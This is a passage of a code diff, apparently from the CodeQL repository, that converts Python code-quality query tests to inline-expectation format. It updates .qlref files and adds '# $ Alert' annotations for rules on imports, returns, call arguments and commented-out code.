a/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.qlref +++ b/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.qlref @@ -1 +1,2 @@ -Expressions/WrongNameForArgumentInCall.ql \ No newline at end of file +query: Expressions/WrongNameForArgumentInCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.qlref b/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.qlref index 1bffe8f1cad4..68dc510d5c6e 100644 --- a/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.qlref +++ b/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.qlref @@ -1 +1,2 @@ -Expressions/WrongNumberArgumentsInCall.ql \ No newline at end of file +query: Expressions/WrongNumberArgumentsInCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/overriding/test.py b/python/ql/test/query-tests/Functions/overriding/test.py index 879efdbe2913..640563700460 100644 --- a/python/ql/test/query-tests/Functions/overriding/test.py +++ b/python/ql/test/query-tests/Functions/overriding/test.py @@ -2,10 +2,10 @@ class Base(object): - def meth1(self): + def meth1(self): # $ Alert[py/inheritance/incorrect-overridden-signature] pass - def meth2(self, spam): + def meth2(self, spam): # $ Alert[py/inheritance/incorrect-overridden-signature] pass def meth3(self): @@ -13,18 +13,18 @@ def meth3(self): def foo(self): self.meth1() - self.meth1(0) - self.meth2() + self.meth1(0) # $ Alert[py/call/wrong-arguments] + self.meth2() # $ Alert[py/call/wrong-arguments] self.meth2(0) - self.meth1(spam="eggs") + self.meth1(spam="eggs") # $ Alert[py/call/wrong-named-argument] self.meth2(spam="eggs") class Derived(Base): - def meth1(self, spam): # $ Alert[py/inheritance/signature-mismatch] # Has 1 more arg, base called in Base.foo + def meth1(self, spam): # $ Alert[py/inheritance/signature-mismatch] Alert[py/inheritance/incorrect-overriding-signature] # Has 1 more arg, base called in Base.foo pass - def meth2(self): # $ Alert[py/inheritance/signature-mismatch] # Has 1 fewer arg, base called in Base.foo + def meth2(self): # $ Alert[py/inheritance/signature-mismatch] Alert[py/inheritance/incorrect-overriding-signature] # Has 1 fewer arg, base called in Base.foo pass def meth3(self, eggs): # $ Alert[py/inheritance/signature-mismatch] # Has 1 more arg. Method is not called. @@ -61,7 +61,7 @@ def meth(self, arg): class BlameBase(object): - def meth(self): + def meth(self): # $ Alert[py/inheritance/incorrect-overridden-signature] pass class Correct1(BlameBase): @@ -109,7 +109,7 @@ def call_some(self): self.meth1() self.meth1(x=2) self.meth3() - self.meth3(x=2) + self.meth3(x=2) # $ Alert[py/call/wrong-named-argument] self.meth6(2, 3, 4) self.meth7() self.meth8(1,y=3) diff --git a/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.qlref b/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.qlref index 0904074f25b4..6f10808f42bf 100644 --- a/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.qlref +++ b/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.qlref @@ -1 +1,2 @@ -Functions/ConsistentReturns.ql +query: Functions/ConsistentReturns.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.qlref b/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.qlref index c91661b33cf4..c7eaa3205b2e 100644 --- a/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.qlref +++ b/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.qlref @@ -1 +1,2 @@ -Functions/ReturnConsistentTupleSizes.ql +query: Functions/ReturnConsistentTupleSizes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.qlref b/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.qlref index 61002533ef49..ded6bf8e609c 100644 --- a/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.qlref +++ b/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.qlref @@ -1 +1,2 @@ -Functions/ReturnValueIgnored.ql \ No newline at end of file +query: Functions/ReturnValueIgnored.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.qlref b/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.qlref index b23115e8950c..af71ab6388e2 100644 --- a/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.qlref +++ b/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.qlref @@ -1 +1,2 @@ -Functions/UseImplicitNoneReturnValue.ql \ No newline at end of file +query: Functions/UseImplicitNoneReturnValue.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Functions/return_values/functions_test.py b/python/ql/test/query-tests/Functions/return_values/functions_test.py index 9f72a7fec600..ac87960e82e3 100644 --- a/python/ql/test/query-tests/Functions/return_values/functions_test.py +++ b/python/ql/test/query-tests/Functions/return_values/functions_test.py @@ -15,11 +15,11 @@ def ok2(x): else: return "Hi" -def cr1(x): +def cr1(x): # $ Alert[py/mixed-returns] if x: return 4 -def cr2(x): +def cr2(x): # $ Alert[py/mixed-returns] if x: return 4 else: @@ -74,7 +74,7 @@ def ok4(x): def use_implicit_return_value(arg): - x = do_nothing() + x = do_nothing() # $ Alert[py/procedure-return-value-used] return call_non_callable(arg) #The return in the lambda is OK as it is auto-generated @@ -156,9 +156,9 @@ def do_nothing(): def return_value_ignored(): - ok2() - ok4() - sorted([1,2]) + ok2() # $ Alert[py/ignored-return-value] + ok4() # $ Alert[py/ignored-return-value] + sorted([1,2]) # $ Alert[py/ignored-return-value] d = {} @@ -231,7 +231,7 @@ def mutli_return(arg): if arg: return do_something() else: - return do_nothing() + return do_nothing() # $ Alert[py/procedure-return-value-used] #Modification of parameter with default @@ -303,7 +303,7 @@ def foo(x): # Returning tuples with different sizes -def returning_different_tuple_sizes(x): +def returning_different_tuple_sizes(x): # $ Alert[py/mixed-tuple-returns] if x: return 1,2 else: @@ -333,7 +333,7 @@ def mismatched_multi_assign(x): return a,b -def ok_match(x): # FP +def ok_match(x): # FP # $ Alert[py/mixed-returns] match x: case True | 'true': return 0 @@ -341,7 +341,7 @@ def ok_match(x): # FP raise ValueError(x) -def ok_match2(x): # FP +def ok_match2(x): # FP # $ Alert[py/mixed-returns] match x: case None: return 0 diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.qlref b/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.qlref index 3d50843db7eb..ed5a37e9d476 100644 --- a/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.qlref +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.qlref @@ -1 +1,2 @@ -Imports/ImportandImportFrom.ql +query: Imports/ImportandImportFrom.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.qlref b/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.qlref index e6bc27b30652..a5a25747abf6 100644 --- a/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.qlref +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.qlref @@ -1 +1,2 @@ -Imports/ModuleImportsItself.ql +query: Imports/ModuleImportsItself.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/imports_test.py b/python/ql/test/query-tests/Imports/PyCheckerTests/imports_test.py index 6224c788c5eb..b8fa4a7ae375 100644 --- a/python/ql/test/query-tests/Imports/PyCheckerTests/imports_test.py +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/imports_test.py @@ -1,11 +1,11 @@ #Import and import from -import test_module2 +import test_module2 # $ Alert[py/import-and-import-from] from test_module2 import func #Module imports itself -import imports_test +import imports_test # $ Alert[py/import-own-module] import pkg_ok import pkg_notok diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/pkg_notok/__init__.py b/python/ql/test/query-tests/Imports/PyCheckerTests/pkg_notok/__init__.py index b0e269d67a5c..ecfa5291dc30 100644 --- a/python/ql/test/query-tests/Imports/PyCheckerTests/pkg_notok/__init__.py +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/pkg_notok/__init__.py @@ -1,7 +1,7 @@ class Foo(object): pass -import pkg_notok +import pkg_notok # $ Alert[py/import-and-import-from] Alert[py/import-own-module] # This import is a bit tricky. It will make `bar` available in as `pkg_notok.bar` as a # side effect (see https://docs.python.org/3/reference/import.html#submodules), but the @@ -9,6 +9,6 @@ class Foo(object): # module imports itself. import pkg_notok.bar -from pkg_notok import Foo -from pkg_notok import Foo as NotOkFoo -from pkg_notok import * +from pkg_notok import Foo # $ Alert[py/import-own-module] +from pkg_notok import Foo as NotOkFoo # $ Alert[py/import-own-module] +from pkg_notok import * # $ Alert[py/import-own-module] diff --git a/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/ModuleLevelCyclicImport.qlref b/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/ModuleLevelCyclicImport.qlref index 8b9bc8c123ae..e0e35483fedd 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/ModuleLevelCyclicImport.qlref +++ b/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/ModuleLevelCyclicImport.qlref @@ -1 +1,2 @@ -Imports/ModuleLevelCyclicImport.ql +query: Imports/ModuleLevelCyclicImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/module3.py b/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/module3.py index 83f5eda9557a..e3d76ff53a7a 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/module3.py +++ b/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/module3.py @@ -5,4 +5,4 @@ @dataclasses.dataclass() class Foo: - bars: typing.List[module4.Bar] + bars: typing.List[module4.Bar] # $ Alert diff --git a/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/module4.py b/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/module4.py index b6da208fbe34..e7864e9b6cab 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/module4.py +++ b/python/ql/test/query-tests/Imports/cyclic-module-annotations-fp/module4.py @@ -5,5 +5,5 @@ @dataclasses.dataclass() class Bar: - def is_in_foo(self, foo: module3.Foo): + def is_in_foo(self, foo: module3.Foo): # $ Alert return self in foo.bars diff --git a/python/ql/test/query-tests/Imports/cyclic-module-package-fp/false-negative/CyclicImport.qlref b/python/ql/test/query-tests/Imports/cyclic-module-package-fp/false-negative/CyclicImport.qlref index 814bba9fad6a..082797c92265 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module-package-fp/false-negative/CyclicImport.qlref +++ b/python/ql/test/query-tests/Imports/cyclic-module-package-fp/false-negative/CyclicImport.qlref @@ -1 +1,2 @@ -Imports/CyclicImport.ql \ No newline at end of file +query: Imports/CyclicImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/cyclic-module-package-fp/false-negative/ModuleLevelCyclicImport.qlref b/python/ql/test/query-tests/Imports/cyclic-module-package-fp/false-negative/ModuleLevelCyclicImport.qlref index 5119f8fdaae2..e0e35483fedd 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module-package-fp/false-negative/ModuleLevelCyclicImport.qlref +++ b/python/ql/test/query-tests/Imports/cyclic-module-package-fp/false-negative/ModuleLevelCyclicImport.qlref @@ -1 +1,2 @@ -Imports/ModuleLevelCyclicImport.ql \ No newline at end of file +query: Imports/ModuleLevelCyclicImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/cyclic-module-package-fp/true-negative/CyclicImport.qlref b/python/ql/test/query-tests/Imports/cyclic-module-package-fp/true-negative/CyclicImport.qlref index 814bba9fad6a..082797c92265 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module-package-fp/true-negative/CyclicImport.qlref +++ b/python/ql/test/query-tests/Imports/cyclic-module-package-fp/true-negative/CyclicImport.qlref @@ -1 +1,2 @@ -Imports/CyclicImport.ql \ No newline at end of file +query: Imports/CyclicImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/cyclic-module-package-fp/true-negative/ModuleLevelCyclicImport.qlref b/python/ql/test/query-tests/Imports/cyclic-module-package-fp/true-negative/ModuleLevelCyclicImport.qlref index 5119f8fdaae2..e0e35483fedd 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module-package-fp/true-negative/ModuleLevelCyclicImport.qlref +++ b/python/ql/test/query-tests/Imports/cyclic-module-package-fp/true-negative/ModuleLevelCyclicImport.qlref @@ -1 +1,2 @@ -Imports/ModuleLevelCyclicImport.ql \ No newline at end of file +query: Imports/ModuleLevelCyclicImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.qlref b/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.qlref index 814bba9fad6a..082797c92265 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.qlref +++ b/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.qlref @@ -1 +1,2 @@ -Imports/CyclicImport.ql \ No newline at end of file +query: Imports/CyclicImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.qlref b/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.qlref index 5119f8fdaae2..e0e35483fedd 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.qlref +++ b/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.qlref @@ -1 +1,2 @@ -Imports/ModuleLevelCyclicImport.ql \ No newline at end of file +query: Imports/ModuleLevelCyclicImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module1.py b/python/ql/test/query-tests/Imports/cyclic-module/module1.py index 55ef075e9e6e..e17ac87cdca2 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/module1.py +++ b/python/ql/test/query-tests/Imports/cyclic-module/module1.py @@ -1,20 +1,20 @@ # potentially crashing cycles import module2 -import module3 +import module3 # $ Alert[py/cyclic-import] -a1 = module2.a2 +a1 = module2.a2 # $ Alert[py/unsafe-cyclic-import] b1 = 2 # bad style cycles -import module4 +import module4 # $ Alert[py/cyclic-import] def foo(): - import module5 + import module5 # $ Alert[py/cyclic-import] # okay, because some of the cycle is not top level -import module6 +import module6 # $ Alert[py/cyclic-import] # OK because this import occurs after relevant definition (a1) -import module8 +import module8 # $ Alert[py/cyclic-import] #OK because cycle is guarded by `if False:` from module10 import x diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module2.py b/python/ql/test/query-tests/Imports/cyclic-module/module2.py index 333b8516adb3..81899e72e569 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/module2.py +++ b/python/ql/test/query-tests/Imports/cyclic-module/module2.py @@ -1,4 +1,4 @@ import module1 # direct use -a2 = module1.a1 \ No newline at end of file +a2 = module1.a1 # $ Alert[py/unsafe-cyclic-import] \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module3.py b/python/ql/test/query-tests/Imports/cyclic-module/module3.py index 2180fb54a285..dd391cfcf5aa 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/module3.py +++ b/python/ql/test/query-tests/Imports/cyclic-module/module3.py @@ -1,2 +1,2 @@ # use via import member -from module1 import a1 \ No newline at end of file +from module1 import a1 # $ Alert[py/unsafe-cyclic-import] \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module4.py b/python/ql/test/query-tests/Imports/cyclic-module/module4.py index 65db406bb451..790e92121d5d 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/module4.py +++ b/python/ql/test/query-tests/Imports/cyclic-module/module4.py @@ -1 +1 @@ -import module1 \ No newline at end of file +import module1 # $ Alert[py/cyclic-import] \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module5.py b/python/ql/test/query-tests/Imports/cyclic-module/module5.py index 65db406bb451..790e92121d5d 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/module5.py +++ b/python/ql/test/query-tests/Imports/cyclic-module/module5.py @@ -1 +1 @@ -import module1 \ No newline at end of file +import module1 # $ Alert[py/cyclic-import] \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module6.py b/python/ql/test/query-tests/Imports/cyclic-module/module6.py index 5a5fcd149ac6..df0376aceaa9 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/module6.py +++ b/python/ql/test/query-tests/Imports/cyclic-module/module6.py @@ -1,2 +1,2 @@ def foo(): - import module7 \ No newline at end of file + import module7 # $ Alert[py/cyclic-import] \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module7.py b/python/ql/test/query-tests/Imports/cyclic-module/module7.py index d0b18ba5894d..6a961467bad7 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/module7.py +++ b/python/ql/test/query-tests/Imports/cyclic-module/module7.py @@ -1 +1 @@ -from module1 import a1 \ No newline at end of file +from module1 import a1 # $ Alert[py/cyclic-import] \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module8.py b/python/ql/test/query-tests/Imports/cyclic-module/module8.py index 185ee214da83..8117f9a6f9c5 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/module8.py +++ b/python/ql/test/query-tests/Imports/cyclic-module/module8.py @@ -1,4 +1,4 @@ -import module1 +import module1 # $ Alert[py/cyclic-import] class Foo(object): a = module1.a1 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module9.py b/python/ql/test/query-tests/Imports/cyclic-module/module9.py index 06ab5b933058..b8dfb4e10a6d 100644 --- a/python/ql/test/query-tests/Imports/cyclic-module/module9.py +++ b/python/ql/test/query-tests/Imports/cyclic-module/module9.py @@ -1,6 +1,6 @@ x = 1 -import main +import main # $ Alert[py/cyclic-import] y = 2 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.qlref b/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.qlref index 9f87b11d807c..93ed1e7b4be7 100644 --- a/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.qlref +++ b/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.qlref @@ -1 +1,2 @@ -Imports/DeprecatedModule.ql +query: Imports/DeprecatedModule.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/deprecated/test.py b/python/ql/test/query-tests/Imports/deprecated/test.py index ce70d29794eb..6cf11feb7824 100644 --- a/python/ql/test/query-tests/Imports/deprecated/test.py +++ b/python/ql/test/query-tests/Imports/deprecated/test.py @@ -1,11 +1,11 @@ # Some deprecated modules -import rfc822 -import posixfile +import rfc822 # $ Alert +import posixfile # $ Alert # We should only report a bad import once class Foo(object): def foo(self): - import md5 + import md5 # $ Alert # Backwards compatible code, should not report try: diff --git a/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.qlref b/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.qlref index 9353115309f8..302bb0895a6b 100644 --- a/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.qlref +++ b/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.qlref @@ -1 +1,2 @@ -Imports/FromImportOfMutableAttribute.ql \ No newline at end of file +query: Imports/FromImportOfMutableAttribute.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.qlref b/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.qlref index 3844f21922fb..d5b4aaa16938 100644 --- a/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.qlref +++ b/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.qlref @@ -1 +1,2 @@ -Imports/ImportShadowedByLoopVar.ql \ No newline at end of file +query: Imports/ImportShadowedByLoopVar.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/general/ImportStarUsed.qlref b/python/ql/test/query-tests/Imports/general/ImportStarUsed.qlref index 35f8bff3e5fc..099627be88cd 100644 --- a/python/ql/test/query-tests/Imports/general/ImportStarUsed.qlref +++ b/python/ql/test/query-tests/Imports/general/ImportStarUsed.qlref @@ -1 +1,2 @@ -Imports/ImportStarUsed.ql \ No newline at end of file +query: Imports/ImportStarUsed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/general/Imports.qlref b/python/ql/test/query-tests/Imports/general/Imports.qlref index 6bcdb2d9b5fd..926c62f0a410 100644 --- a/python/ql/test/query-tests/Imports/general/Imports.qlref +++ b/python/ql/test/query-tests/Imports/general/Imports.qlref @@ -1 +1,2 @@ -Imports/Imports.ql +query: Imports/Imports.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/general/MultipleImport.qlref b/python/ql/test/query-tests/Imports/general/MultipleImport.qlref index a4d2195b6886..7826fb7e33c9 100644 --- a/python/ql/test/query-tests/Imports/general/MultipleImport.qlref +++ b/python/ql/test/query-tests/Imports/general/MultipleImport.qlref @@ -1 +1,2 @@ -Imports/MultipleImports.ql +query: Imports/MultipleImports.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/general/UnintentionalImport.qlref b/python/ql/test/query-tests/Imports/general/UnintentionalImport.qlref index 4f1b985d5c2c..0ea9a54298fd 100644 --- a/python/ql/test/query-tests/Imports/general/UnintentionalImport.qlref +++ b/python/ql/test/query-tests/Imports/general/UnintentionalImport.qlref @@ -1 +1,2 @@ -Imports/UnintentionalImport.ql +query: Imports/UnintentionalImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/general/imports_mutable.py b/python/ql/test/query-tests/Imports/general/imports_mutable.py index 0519a2071d8a..91efefc7e9f1 100644 --- a/python/ql/test/query-tests/Imports/general/imports_mutable.py +++ b/python/ql/test/query-tests/Imports/general/imports_mutable.py @@ -1,4 +1,4 @@ -from mutable_attr import x, y +from mutable_attr import x, y # $ Alert[py/import-of-mutable-attribute] def f(): print(x) diff --git a/python/ql/test/query-tests/Imports/general/imports_test.py b/python/ql/test/query-tests/Imports/general/imports_test.py index 4b51f8254fc4..8a4faf16a345 100644 --- a/python/ql/test/query-tests/Imports/general/imports_test.py +++ b/python/ql/test/query-tests/Imports/general/imports_test.py @@ -1,5 +1,5 @@ #Multiple imports on a single line -import module1, module2 +import module1, module2 # $ Alert[py/multiple-imports-on-line] #Cyclic import @@ -13,13 +13,13 @@ import module -for module in range(10): +for module in range(10): # $ Alert[py/import-shadowed-loop-variable] print(module) #Import * used -from module import * -from module_without_all import * +from module import * # $ Alert[py/import-star-used] +from module_without_all import * # $ Alert[py/import-star-used] Alert[py/polluting-import] #Unused import @@ -30,8 +30,8 @@ func1 #Duplicate import -import module1 -import module2 +import module1 # $ Alert[py/repeated-import] +import module2 # $ Alert[py/repeated-import] #OK -- Import used in epytext documentation. import used_in_docs @@ -62,4 +62,4 @@ def __init__(self): different # FP reported in https://github.com/github/codeql/issues/4003 -from module_that_does_not_exist import * +from module_that_does_not_exist import * # $ Alert[py/import-star-used] diff --git a/python/ql/test/query-tests/Imports/unused/UnusedImport.qlref b/python/ql/test/query-tests/Imports/unused/UnusedImport.qlref index e6bb7ab44cb0..103f075bb149 100644 --- a/python/ql/test/query-tests/Imports/unused/UnusedImport.qlref +++ b/python/ql/test/query-tests/Imports/unused/UnusedImport.qlref @@ -1 +1,2 @@ -Imports/UnusedImport.ql +query: Imports/UnusedImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Imports/unused/import_structure_1.py b/python/ql/test/query-tests/Imports/unused/import_structure_1.py index a76fe99f12cc..3afada1956b3 100644 --- a/python/ql/test/query-tests/Imports/unused/import_structure_1.py +++ b/python/ql/test/query-tests/Imports/unused/import_structure_1.py @@ -2,7 +2,7 @@ # lines from typing import Optional -from unknown import foo, bar +from unknown import foo, bar # $ Alert var: Optional['foo'] = None diff --git a/python/ql/test/query-tests/Imports/unused/import_structure_2.py b/python/ql/test/query-tests/Imports/unused/import_structure_2.py index 90d4255ba399..01db62d54f8c 100644 --- a/python/ql/test/query-tests/Imports/unused/import_structure_2.py +++ b/python/ql/test/query-tests/Imports/unused/import_structure_2.py @@ -3,6 +3,6 @@ from typing import Optional from unknown import foo -from unknown import bar +from unknown import bar # $ Alert var: Optional['foo'] = None diff --git a/python/ql/test/query-tests/Imports/unused/imports_test.py b/python/ql/test/query-tests/Imports/unused/imports_test.py index 71363235987c..e57d23cc2bb5 100644 --- a/python/ql/test/query-tests/Imports/unused/imports_test.py +++ b/python/ql/test/query-tests/Imports/unused/imports_test.py @@ -1,13 +1,13 @@ #Multiple imports on a single line -import module1, module2 +import module1, module2 # $ Alert #Cyclic import -import cycle +import cycle # $ Alert #Top level cyclic import -import top_level_cycle +import top_level_cycle # $ Alert #Import shadowed by loop variable @@ -24,14 +24,14 @@ #Unused import from module2 import func1 -from module2 import func2 +from module2 import func2 # $ Alert module1.func func1 #Duplicate import import module1 -import module2 +import module2 # $ Alert #OK -- Import used in epytext documentation. import used_in_docs @@ -113,6 +113,6 @@ def baz() -> Optional['subexpression_return_type']: pass -from pytest_fixtures import not_a_fixture # BAD +from pytest_fixtures import not_a_fixture # BAD # $ Alert from pytest_fixtures import fixture, wrapped_fixture # GOOD (pytest fixtures are used implicitly by pytest) from pytest_fixtures import session_fixture, wrapped_autouse_fixture # GOOD (pytest fixtures are used implicitly by pytest) diff --git a/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.qlref b/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.qlref index 4568a99f3882..49cef25c9fd4 100644 --- a/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.qlref +++ b/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.qlref @@ -1 +1,2 @@ -Lexical/ToDoComment.ql \ No newline at end of file +query: Lexical/ToDoComment.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Lexical/ToDoComment/todo.py b/python/ql/test/query-tests/Lexical/ToDoComment/todo.py index 5e02882924b6..e29370ad3279 100644 --- a/python/ql/test/query-tests/Lexical/ToDoComment/todo.py +++ b/python/ql/test/query-tests/Lexical/ToDoComment/todo.py @@ -1 +1 @@ -# TO DO -- (Nothing "to do" -- this is a test for TO DO comments) +# TO DO -- (Nothing "to do" -- this is a test for TO DO comments) # $ Alert diff --git a/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.qlref b/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.qlref index 6fe55e0fa940..39456a2013e7 100644 --- a/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.qlref +++ b/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.qlref @@ -1 +1,2 @@ -Lexical/CommentedOutCode.ql +query: Lexical/CommentedOutCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.qlref b/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.qlref index 2776efbcfd3e..cb0c813f0095 100644 --- a/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.qlref +++ b/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.qlref @@ -1 +1 @@ -Lexical/FCommentedOutCode.ql +query: Lexical/FCommentedOutCode.ql diff --git a/python/ql/test/query-tests/Lexical/commented_out_code/test.py b/python/ql/test/query-tests/Lexical/commented_out_code/test.py index 067855b67447..685a2080f6c2 100644 --- a/python/ql/test/query-tests/Lexical/commented_out_code/test.py +++ b/python/ql/test/query-tests/Lexical/commented_out_code/test.py @@ -13,7 +13,7 @@ def f(x): if x: do_something() #else: - # do_something_else() + # do_something_else() # $ Alert # Some non-code comments. # Space immediately after scope start and between functions. @@ -69,7 +69,7 @@ def f(x): # # #def m(): -# pass +# pass # $ Alert # # # @@ -82,7 +82,7 @@ def f(x): #except Exception: # pass #except: -# pass +# pass # $ Alert def a_function_to_break_up_comments(): pass diff --git a/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.qlref b/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.qlref index c74ae215bb40..8e150c5a5c8a 100644 --- a/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.qlref +++ b/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.qlref @@ -1 +1 @@ -Metrics/CyclomaticComplexity.ql +query: Metrics/CyclomaticComplexity.ql diff --git a/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.qlref b/python/ql/test/query-tests/Metrics/functions/FunctionStatementNestingDepth.qlref index 797f223792f2..5be0496cf087 100644 --- 